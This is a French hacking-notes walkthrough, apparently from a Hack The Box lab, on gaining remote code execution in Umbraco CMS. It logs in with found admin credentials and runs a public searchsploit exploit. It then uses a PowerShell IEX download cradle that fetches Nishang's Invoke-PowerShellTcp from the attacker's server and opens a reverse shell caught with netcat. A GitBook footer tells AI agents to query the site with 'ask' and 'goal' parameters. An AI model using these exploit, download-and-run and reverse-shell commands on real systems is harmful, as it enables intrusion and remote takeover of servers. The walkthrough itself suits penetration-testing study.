> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/umbraco-cms-exploitation.md).

# Umbraco

## Vulnérabilité RCE (Umbraco CMS)

Un panneau d'administration est trouvé ; testez l'authentification avec l'utilisateur admin :

`admin@htb.local:baconandcheese`

<figure><img src="/files/30d5b5f4234a942cdb219d712ef3012266fc9a49" alt=""><figcaption></figcaption></figure>

L'accès est accordé.

<figure><img src="/files/c57611800e8ccdee6c271e2eef2d774a2f171394" alt=""><figcaption></figcaption></figure>

Recherche `Searchsploit` pour ce CMS et trouvez un script RCE pour Umbraco.

<figure><img src="/files/13d3f474ac5076b580ae20ed55b1775e0e851672" alt=""><figcaption></figcaption></figure>

`searchsploit -m aspx/webapps/46153.py`

Modifiez les paramètres de connexion, de mot de passe et d'hôte dans le script.

<figure><img src="/files/1d306da333c0dc158fc9aa0c4a92d9a82130a748" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité avec ping :**/ Exécutez cette commande sur le serveur et écoutez avec tcpdump.

```bash
/c ping 10.10.14.6

tcpdump -i tun0 icmp
```

<figure><img src="/files/3b574048124c3f385a306edd2710f4eb11b9bc84" alt=""><figcaption></figcaption></figure>

Une fois l'exécution de commande confirmée, hébergez le `PS.ps1` script sur la machine de l'attaquant.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

Ajoutez la ligne suivante à la fin du script :

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444
```

<figure><img src="/files/84dbffd276d00c027185cc8d938d4e2ccaa6fd9c" alt="" width="563"><figcaption></figcaption></figure>

Host `PS.ps1` avec un serveur web :

```bash
python3 -m http.server 80
```

Puis modifiez la commande pour qu'elle pointe vers le serveur web de l'attaquant :

{% code fullWidth="true" %}

```
/c powershell IEX(New-Object Net.WebClient).downloadString(/'http://10.10.14.6/PS.ps1/')
```

{% endcode %}

Enfin, démarrez un écouteur sur le port 4444 :

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="/files/1a275b8f59560aca359c288808f78d17106ac53b" alt=""><figcaption></figcaption></figure></div>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/cms/umbraco-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
